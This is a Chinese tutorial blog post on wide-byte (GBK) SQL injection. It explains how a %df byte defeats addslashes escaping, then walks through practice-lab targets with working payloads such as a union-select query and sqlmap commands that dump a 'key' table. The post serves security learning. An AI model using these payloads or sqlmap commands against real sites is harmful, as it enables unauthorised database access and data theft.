宽字节注入

📔前言

    在学习宽字节注入前我们需要先了解一下mysql中常常用来转义的函数有以下几种:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc,常用的是addslashes,它的定义是返回在预定义字符之前添加反斜杠的字符串,预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL

PHP addslashes() 函数https://www.w3school.com.cn/php/func_string_addslashes.asp

📔原理

  • 根据MySQL中的GBK编码的特性来实现绕过转义限制
  • GBK:一个汉字=2个字节
  • 当我们输入单引号时,mysql会调用转义函数,将单引号变为',其中的十六进制是%5c,mysqlGBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击,也可以使用url解码后的%df(�)来进行绕过

GBK 编码范围, GBK 编码表GBK编码采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.phpGBK 编码表 - 在线工具GBK编码表http://106.14.124.170/Encoding/GBK

📔方法

在限制的符号前面加一个ascii码大于128的和反斜线才会被编码成一个汉字
id=1%df'
id=1�'

📔实验

📓靶场一

chinalover.sinaapp.com/SQL-GBK/index.php?http://chinalover.sinaapp.com/SQL-GBK/index.php?

#直接测试
id=1'

#添加%df
id=1�'

📓靶场二

SQL注入之宽字节(GBK)注入https://labs.do-ta.com/index/course/detail/id/110

id=1%df'

#此时我们可以看出有报错提示说明我们单引号逃逸成功了,那么直接联合查询出数据
id=-1%df' union select 1,database(),3%23

  • 啥话不说上针管(sqlmap)
#注入获取库中的表
python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" --tables -D "sql-kuanzijiegbk-1" -v 0

#注入获取我们的key表数据
python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" -T "key" -D "sql-kuanzijiegbk-1" -v 0 --dump

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值